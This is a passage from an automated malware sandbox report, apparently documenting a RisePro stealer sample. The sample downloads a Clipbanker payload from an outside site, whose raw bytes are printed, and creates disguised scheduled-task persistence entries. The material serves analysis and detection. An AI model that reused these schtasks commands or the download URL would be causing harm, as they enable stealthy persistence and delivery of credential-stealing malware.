2b4{"status":"ok","demoInfo":{"ipAddress":"81.181.57.52","continentCode":"NA","continentName":"North America","countryCode":"US","countryName":"United States","isEuMember":false,"currencyCode":"USD","currencyName":"Dollar","phonePrefix":"1","languages":
2024-04-21 23:17:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49720	185.199.220.53	443	3580	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-21 23:18:15 UTC	229	OUT	GET /wp-content/upgrade/k.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36 Host: easy2buy.ae Cache-Control: no-cache
2024-04-21 23:18:16 UTC	423	IN	HTTP/1.1 200 OK Connection: close content-type: application/x-msdownload last-modified: Mon, 15 Apr 2024 05:50:46 GMT accept-ranges: bytes content-length: 4563640 date: Sun, 21 Apr 2024 23:18:15 GMT server: LiteSpeed vary: User-Agent alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
2024-04-21 23:18:16 UTC	945	IN	Data Raw: 4d 5a 40 00 01 00 00 00 02 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 0a 00 00 00 00 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 57 69 6e 33 32 20 2e 45 58 45 2e 0d 0a 24 40 00 00 00 50 45 00 00 4c 01 03 00 a9 4d d8 61 00 00 00 00 00 00 00 00 e0 00 02 03 0b 01 0e 1d 00 18 00 00 00 5e 19 00 00 00 00 00 c8 80 77 00 00 10 00 00 00 30 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 90 7d 00 00 02 00 00 6d 1a 46 00 02 00 00 85 00 00 10 00 00 d0 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 80 77 00 c8 00 00 00 00 90 77 00 7c f6 05 00 00 00 00 00 00 00 00 00 00 8a 45 00 b8 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!Win32 .EXE.$@PELMa^w0@}mFww\|E
2024-04-21 23:18:16 UTC	14994	IN	Data Raw: c2 6e e6 46 88 26 2d 6f 95 cc 10 0e 2f 38 53 c3 45 0d c0 7b 31 1d 45 a1 9c 2c 9d f5 bf 13 3c 95 63 7c 62 14 7a 8b 46 7a 1a 01 b7 08 bd e8 11 11 7c 83 ee 57 22 70 03 15 e4 ed a2 17 31 ba 52 78 e6 fb b7 ba 6b 46 40 f9 62 4c 19 cf 0f 83 67 98 84 14 d6 a1 84 0d 70 e7 ad 96 18 5f 8e 2d 2d ee da 4b a9 1a ef fa 01 bb 89 f5 32 c4 d1 0b f5 7c e5 6b fa 6f 04 df 4e c7 ef b3 24 58 87 6b d3 a0 cc 6a 82 2b 8b a9 25 8b c0 ff 92 f1 c1 a7 ad fc fb 52 2b 74 cd 1e 5b 20 42 f9 dd 53 3d f8 29 64 09 3b 80 cb 2a 6c df b5 3b f0 c4 bd 2e 5f aa 0f 3e 4b 66 42 90 13 0e ff 10 93 f8 71 78 59 f8 0b cd ff 95 28 46 0f a9 fc 7c de fb 9a 30 2e 56 c0 8f 85 f3 83 81 c0 65 c4 25 53 f8 f5 91 36 31 05 a5 b0 ee 6f c1 70 4d 47 0c d1 91 11 aa ad 60 1d ba ce b1 27 18 5c 59 86 e9 66 52 58 be e9 76 Data Ascii: nF&-o/8SE{1E,<c\|bzFz\|W"p1RxkF@bLgp_--K2\|koN$Xkj+%R+t[ BS=)d;*l;._>KfBqxY(F\|0.Ve%S61opMG`'\YfRXv
2024-04-21 23:18:16 UTC	16384	IN	Data Raw: 77 39 ae ad d2 1b 80 6b 5b 73 d3 9f b0 1c 0d 72 74 31 74 6e 38 41 7c bd d5 e7 31 47 91 ac 8b 4e c7 de e1 85 32 9d 86 5b 9c 8e 75 4d bd c7 6a ba 5c c7 10 a7 c3 ec c2 8d e7 cc 61 5d a6 46 c1 1b 37 cc 81 7e d3 a1 a3 08 75 33 84 e5 22 2b d2 f5 9e 88 11 90 01 cb 58 1c 53 c8 be 57 fc 68 a0 a2 b8 c4 d4 8a 9e 93 6d 02 71 ae bc 66 81 93 64 12 34 c2 79 7f c2 cb 7f 1b 6e 4f 9f 24 d9 a0 f9 3e 96 95 88 9f 07 21 a7 66 73 fe 66 e8 67 78 e2 61 17 47 4f 25 05 40 2b 51 3f e5 da 86 51 d5 a7 c9 17 b7 e1 50 21 08 78 75 9d 83 7f c6 e4 fb 86 97 a3 43 8a 64 e7 fc df 63 c9 4d 0d 35 2e 7f 65 e0 df 61 9f 71 c0 62 42 6d 9b e1 6b 5f d4 3f 67 cc 4c fa 7b aa 78 db 83 6b 6f 0a c4 67 92 4c fe 27 8b 15 35 3e e9 24 fb 64 c7 50 e9 a6 bd c9 82 68 69 ab c6 a1 19 11 e2 42 f8 7b 32 45 c9 98 2d Data Ascii: w9k[srt1tn8A\|1GN2[uMj\a]F7~u3"+XSWhmqfd4ynO$>!fsfgxaGO%@+Q?QP!xuCdcM5.eaqbBmk_?gL{xkogL'5>$dPhiB{2E-
2024-04-21 23:18:16 UTC	16384	IN	Data Raw: b1 52 fa e1 c5 b3 4a 7a 57 f0 ad af a1 d3 a2 46 6d 0a cd f9 23 3b 01 a4 61 eb 2e a6 8b b6 b8 0d 9f de 31 42 71 07 9e d7 72 db db aa 49 4b 76 83 d0 16 0b 09 a3 0d e7 51 6c d5 b6 c2 0f 33 a9 11 1a 99 08 19 9a 9a 2b e4 e3 b2 18 92 42 63 bb eb 4a de f8 27 7c 71 c7 86 92 5b 23 2d aa fc 19 b6 d1 42 94 54 ae 6a 71 e1 25 7a f3 59 eb 14 0e 93 38 68 44 7d 73 96 81 0e ab 42 54 6b 4a cf 3f a0 c7 fa bb f1 83 d0 bb df 22 4b 7b 0d 1b 35 3c ea c6 63 36 8f 1f 3a cf 2f ee 8f 99 32 8a 51 36 70 69 da 2d f2 df 13 b9 cb ce e2 0a 3e 8a c9 11 30 1b 93 13 54 83 03 ee 2f ae c0 51 bd 32 5f 69 34 23 5a e5 29 c0 45 61 f5 fd e1 0d 5b 51 6f e4 ca 30 9d ee c0 f9 39 21 7a a4 0a 8b 58 0c 10 99 5f 74 6d a4 61 aa de d8 a9 3b 98 b2 9e d6 42 7a 9f aa 5e 2a 50 51 39 41 02 fa 50 a6 dd fb d5 a5 Data Ascii: RJzWFm#;a.1BqrIKvQl3+BcJ'\|q[#-BTjq%zY8hD}sBTkJ?"K{5<c6:/2Q6pi->0T/Q2_i4#Z)Ea[Qo09!zX_tma;Bz^*PQ9AP
2024-04-21 23:18:16 UTC	16384	IN	Data Raw: f4 76 bf f2 15 3b 04 4c 6a 4e 2a 36 33 ab 50 e1 e0 0e 07 bc 26 40 75 18 a8 5b 5a 78 cf 6d 62 9b d8 08 79 8d 75 e8 b9 fd 2a 8c 6c e5 c6 56 e1 b0 cd 57 0d c3 63 93 f4 e9 f1 0a f8 1c 22 5a 85 85 9f f7 ee f7 c8 55 c3 76 9e 3e 9c 2c f1 c1 ca cc 8d 3a 02 ab fd 4b e9 47 9e ba 86 fe 8f 58 27 52 eb 56 a6 b3 bc 7d 90 fe 15 ac fa fd 55 ee a8 ad c2 2d 6f ef 0e 18 49 d2 18 ab 05 44 41 8c 2e 22 00 e5 24 72 8d c7 26 52 cc 3e 2a e1 51 71 a2 32 63 b1 42 8b d9 76 ea ae 0e 3f 10 e3 24 d6 c4 94 00 0c 4e 1f 1c ef 58 5c 95 bf ad c0 fe d6 14 b5 7c 80 76 f7 7d c5 24 20 83 df 29 62 87 79 49 96 8a 03 00 b2 2c 68 59 68 d8 44 4a 3d 74 40 a8 bd 0f 18 a0 30 1b 45 20 c1 da 31 28 d9 b1 f6 d7 a4 c8 d1 d5 0e aa 4f f7 52 80 3e 12 d8 2e 6d 3f c2 bd 0d 14 e9 e3 34 0f 59 40 db a3 af 2a 07 be Data Ascii: v;LjN63P&@u[ZxmbyulVWc"ZUv>,:KGX'RV}U-oIDA."$r&R>Qq2cBv?$NX\\|v}$ )byI,hYhDJ=t@0E 1(OR>.m?4Y@
2024-04-21 23:18:16 UTC	16384	IN	Data Raw: d9 72 8d 9b 8b 83 8e 76 63 27 94 8d 80 e4 5e 9d 83 a0 0e 4b c8 1b 47 e6 a2 9f c3 df 3e 6e 86 dc 4d 5e 8e 94 db f2 4f 19 fc b9 d0 b8 a7 a6 e0 e2 17 12 89 63 e4 83 c4 2c fe 3b 45 66 98 ae f0 60 43 a6 50 16 17 8f 31 b9 a9 74 bf 3c 03 e2 0c 68 fe 6e 4f 20 45 5b 22 28 da 21 7d 34 33 0d 09 0f d3 0a 29 8b 41 5b 50 44 10 d2 ad d9 c9 a2 79 f9 2f a1 c6 6d a4 62 58 6a 76 35 eb 3d 66 30 24 c7 7b e5 95 44 db 79 19 98 e4 87 74 ac 8c 48 a0 b4 63 9c 86 77 66 1f 00 e1 37 31 71 74 4e b0 86 3d dc d4 05 65 f3 b6 be a2 e5 7b 72 3c 3c 77 b3 35 8e 52 33 e0 f5 bd 06 40 46 03 15 e3 d7 6e da 69 30 f4 05 a9 1f e0 4c e5 c9 f2 2f 19 ec 85 fc 8a 82 fd 47 00 7c ac 06 66 bc 8c 50 5d a9 7d 42 17 9c ff 22 e6 18 96 96 89 72 b0 6f 2d 6a a0 5b 07 8f 6d cb 0b 0b 52 32 15 86 48 36 a3 de 90 a5 Data Ascii: rvc'^KG>nM^Oc,;Ef`CP1t<hnO E["(!}43)A[PDy/mbXjv5=f0${DytHcwf71qtN=e{r<<w5R3@Fni0L/G\|fP]}B"ro-j[mR2H6
2024-04-21 23:18:16 UTC	16384	IN	Data Raw: 67 7a c1 f3 c5 d1 6f b1 68 cb 6c a0 87 21 d4 6c a6 b2 4d cf d2 35 ad 6a ec 37 a6 e2 4c 90 2d f4 8a 70 81 b0 34 8d 0f f7 33 2f 4b 57 00 c2 e0 15 87 d6 0f 01 ac 87 a7 ea 4e 29 03 fb 5f 0a 13 a7 83 1e 91 93 ea 91 d1 a5 80 75 f9 38 c3 b6 c4 46 1d 1d ad bb c0 57 18 e1 c3 1a 53 0f 48 05 9a be 67 1f c5 89 22 da 26 95 8e fc 14 b4 c0 a9 a6 76 86 6d 74 53 fc e9 9f 78 83 7c d7 2f 41 0d 03 2e 60 a6 e6 ab ff 8c 97 d6 73 59 72 e3 58 32 26 e6 a5 47 bd c8 80 f8 fa 50 ca 7f 40 0b d7 da 50 58 51 3a 81 e3 1f 49 d1 54 8b c0 06 f4 48 10 cc e6 9a a7 3e 13 b5 77 7a 3e 9a 62 58 93 4b 83 a3 62 49 a6 65 53 ab 39 ef 93 15 32 24 2d 0b 8a d6 24 d5 11 1e 10 26 a5 14 c5 b6 0a b2 11 64 bf 45 ef f5 88 de 3b 04 c7 34 68 14 c2 db 19 0b da df 0e 6d 80 35 51 86 1b ea 4f 92 bd 6e ea 3c 20 5a Data Ascii: gzohl!lM5j7L-p43/KWN)_u8FWSHg"&vmtSx\|/A.`sYrX2&GP@PXQ:ITH>wz>bXKbIeS92$-$&dE;4hm5QOn< Z
2024-04-21 23:18:16 UTC	16384	IN	Data Raw: 4a a8 85 84 84 75 a3 2e fd 4f 35 1a e5 cc 1d b7 0f 80 a9 83 82 04 3b cc 01 81 51 6f 1b d5 10 dd ce d6 1a 38 4f 62 51 c0 1d 59 0d b7 45 c5 34 e9 55 fe 4f 8a cc ff b3 86 0e 53 18 d1 c6 35 4f 48 e9 9d 39 c8 42 72 3a 4a 0b 79 76 d7 b3 08 38 47 b2 19 a9 a7 79 10 81 09 22 7d c0 64 f0 cd 75 b2 0c 57 16 3c 67 95 3e 2e 63 85 57 cd 5f 6c 42 23 fc b8 e7 64 bc eb 88 46 e5 cc 62 42 90 db 4b c5 51 81 31 0c 9d f0 0c 45 d8 d9 9f 1b a1 5f da f8 4f a8 fa 87 60 8e 9b 3b 9e 15 98 a2 ed 61 91 74 ff bf bf c9 c6 3c 6c 01 ce 5c 32 30 7d d5 79 3b 0d 94 2b 05 5b 77 7a 02 9b 28 49 5e 9a ae 58 f9 54 9c 46 de 01 25 46 94 c3 87 64 4f b4 98 1a 27 fd 84 e4 02 6d 12 25 fb 33 2d b1 da 5a 75 12 4c f5 ed 66 a5 9b 4d f7 78 4d f9 0b b4 ca 06 a2 68 10 f2 1c 8e 41 9a 17 8f 84 82 d0 73 19 74 2c Data Ascii: Ju.O5;Qo8ObQYE4UOS5OH9Br:Jyv8Gy"}duW<g>.cW_lB#dFbBKQ1E_O`;at<l\20}y;+[wz(I^XTF%FdO'm%3-ZuLfMxMhAst,
2024-04-21 23:18:16 UTC	16384	IN	Data Raw: 9a 10 21 c9 57 52 90 54 d1 7d 1a f4 af da 8a 82 8b 6e d6 fb a2 73 dd 8c f9 c7 c5 31 94 31 68 92 60 04 ed 19 ac 57 ef 0e 5d 8e b2 e7 18 69 c5 a7 af 93 c8 67 d3 4f fb 42 68 15 fb 41 e6 70 e4 38 88 47 3f 1f 08 a8 20 ca b5 1d 38 f0 6a 6c 2f 32 77 5f 61 8f 2f fa 55 90 a0 f9 42 7c 6c 9e 21 2b cb ef d4 5c 58 03 8d a9 38 b7 77 65 31 73 70 1f f0 af 8b 28 db 6e 7e ec c0 a5 3e 57 87 49 1a 8e 82 62 cf e7 38 53 b0 a6 bd 33 d4 37 cd 99 4a f6 62 06 92 f5 e8 1d b3 ed fd d5 3a 8c 40 6c 95 88 ac e5 5d 43 86 d6 d1 2a 2f c0 0a 5f 0a 0c 92 2a 6f 63 90 1e 29 dd 30 49 aa 0e c1 6a 36 98 bd db e3 5e 9a a4 47 1d 1d 55 c3 a5 df 0a 26 66 a8 50 86 1b c4 67 0c 8d 71 f8 d4 0f b3 55 00 6f 03 d9 ff 47 2b 6e 2c b0 c2 a1 6a fc 3a 80 a8 22 9d 22 08 dc de 2b c4 76 85 0a a8 65 6d 2d ae 41 f5 Data Ascii: !WRT}ns11h`W]igOBhAp8G? 8jl/2w_a/UB\|l!+\X8we1sp(n~>WIb8S37Jb:@l]C/_oc)0Ij6^GU&fPgqUoG+n,j:""+vem-A
2024-04-21 23:18:16 UTC	445	IN	Data Raw: 3c 89 c6 e2 0a 46 43 f3 b5 b9 7d 66 c7 6a e4 5d ac a3 43 52 49 34 95 6f 6f 92 52 d3 27 ba 11 a6 d4 38 97 4f 89 1b 05 e0 01 cf 69 2c 44 4f 30 ee 72 56 a0 ee 73 20 08 4b 38 a8 8c 14 39 05 4b 2b 78 68 f4 a1 9f 7c 72 93 c7 81 b8 7b 3a b5 32 9e 6b bb 45 72 f2 30 dd 8a 67 67 c4 51 1c 1f 1d 2e 6e b1 35 f8 34 b5 ac 17 0d 0b eb 58 8f fc 93 e2 35 99 2c 22 c7 79 8d 4d 66 31 47 e2 a6 ec 37 49 f0 4a fa 05 fe b4 0b 73 34 3e a1 87 c8 37 20 10 5c af 76 9f 96 38 5b 76 9d 23 93 15 cd 08 4a 03 41 96 fd 8d 61 10 d0 15 5b 0b 44 79 5a a5 4c 84 84 29 6b 43 0e e1 2e 14 8e d1 19 e3 ef 2c 52 d4 f0 70 c9 3d 90 c6 c9 ca bf a4 df fe bf 95 5c b6 dc de 6d d0 38 71 02 a5 78 c2 85 66 bc 8f 90 0a dc 09 9f 1e 60 0e fb c7 e2 46 95 5c 49 89 ed 59 ea d7 81 71 8b ee 3f dc 84 de 9a 35 3e 3d 18 Data Ascii: <FC}fj]CRI4ooR'8Oi,DO0rVs K89K+xh\|r{:2kEr0ggQ.n54X5,"yMf1G7IJs4>7 \v8[v#JAa[DyZL)kC.,Rp=\m8qxf`F\IYq?5>=

Target ID:	0
Start time:	01:17:54
Start date:	22/04/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xad0000
File size:	3'764'472 bytes
MD5 hash:	D937032F47D04DA92A0FA530A7B5B919
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RiseProStealer, Description: Yara detected RisePro Stealer, Source: 00000000.00000003.2116356968.0000000006588000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RiseProStealer, Description: Yara detected RisePro Stealer, Source: 00000000.00000002.4493848204.0000000006306000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	01:18:12
Start date:	22/04/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe" /tn "MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26 HR" /sc HOURLY /rl HIGHEST
Imagebase:	0xf00000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	01:18:12
Start date:	22/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	01:18:12
Start date:	22/04/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe" /tn "MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26 LG" /sc ONLOGON /rl HIGHEST
Imagebase:	0xf00000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	01:18:12
Start date:	22/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	01:18:13
Start date:	22/04/2024
Path:	C:\Users\user\AppData\Local\Temp\spanBqgSBuerctg2\zy4GXi5yvCrsiS0ulH8Z.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\spanBqgSBuerctg2\zy4GXi5yvCrsiS0ulH8Z.exe"
Imagebase:	0x400000
File size:	4'563'640 bytes
MD5 hash:	AF6E384DFABDAD52D43CF8429AD8779C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: 00000007.00000002.2225780219.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: 00000007.00000002.2225780219.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Avira Detection: 83%, ReversingLabs Detection: 80%, Virustotal, Browse
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	01:18:14
Start date:	22/04/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	/C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe"
Imagebase:	0xf00000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	01:18:14
Start date:	22/04/2024
Path:	C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe
Wow64 process (32bit):	true
Commandline:	C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe
Imagebase:	0x400000
File size:	4'563'640 bytes
MD5 hash:	AF6E384DFABDAD52D43CF8429AD8779C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: 00000009.00000002.2237350330.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: 00000009.00000002.2237350330.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Avira Detection: 83%, ReversingLabs Detection: 80%, Virustotal, Browse
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	01:18:14
Start date:	22/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	01:18:14
Start date:	22/04/2024
Path:	C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe
Wow64 process (32bit):	true
Commandline:	C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe
Imagebase:	0x400000
File size:	4'563'640 bytes
MD5 hash:	AF6E384DFABDAD52D43CF8429AD8779C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: 0000000B.00000002.2241108576.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: 0000000B.00000002.2241108576.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Author: unknown
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	01:18:15
Start date:	22/04/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	/C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe"
Imagebase:	0xf00000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	01:18:15
Start date:	22/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	01:18:16
Start date:	22/04/2024
Path:	C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe
Imagebase:	0x400000
File size:	4'563'640 bytes
MD5 hash:	AF6E384DFABDAD52D43CF8429AD8779C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: 0000000E.00000002.4491626286.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: 0000000E.00000002.4491626286.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Avira Detection: 83%, ReversingLabs Detection: 80%, Virustotal, Browse
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	01:18:17
Start date:	22/04/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	/C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe"
Imagebase:	0xf00000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	01:18:17
Start date:	22/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	01:18:18
Start date:	22/04/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\MSIUpdaterV2.exe" /tn "MSIUpdaterV2_c81e728d9d4c2f636f067f89cc14862c HR" /sc HOURLY /rl HIGHEST
Imagebase:	0xf00000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	01:18:18
Start date:	22/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	01:18:18
Start date:	22/04/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\MSIUpdaterV2.exe" /tn "MSIUpdaterV2_c81e728d9d4c2f636f067f89cc14862c LG" /sc ONLOGON /rl HIGHEST
Imagebase:	0xf00000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	01:18:18
Start date:	22/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	01:18:18
Start date:	22/04/2024
Path:	C:\Users\user\AppData\Local\Temp\spanBqgSBuerctg2\hcMSmyGUCSEFc2FAKlzc.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\spanBqgSBuerctg2\hcMSmyGUCSEFc2FAKlzc.exe"
Imagebase:	0x400000
File size:	4'563'640 bytes
MD5 hash:	AF6E384DFABDAD52D43CF8429AD8779C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: 00000015.00000002.2271675447.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: 00000015.00000002.2271675447.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Avira Detection: 83%, ReversingLabs Detection: 80%, Virustotal, Browse
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	01:18:18
Start date:	22/04/2024
Path:	C:\ProgramData\MSIUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\MSIUpdaterV2.exe
Wow64 process (32bit):	true
Commandline:	C:\ProgramData\MSIUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\MSIUpdaterV2.exe
Imagebase:	0x400000
File size:	4'563'640 bytes
MD5 hash:	AF6E384DFABDAD52D43CF8429AD8779C
Has elevated privileges:	true
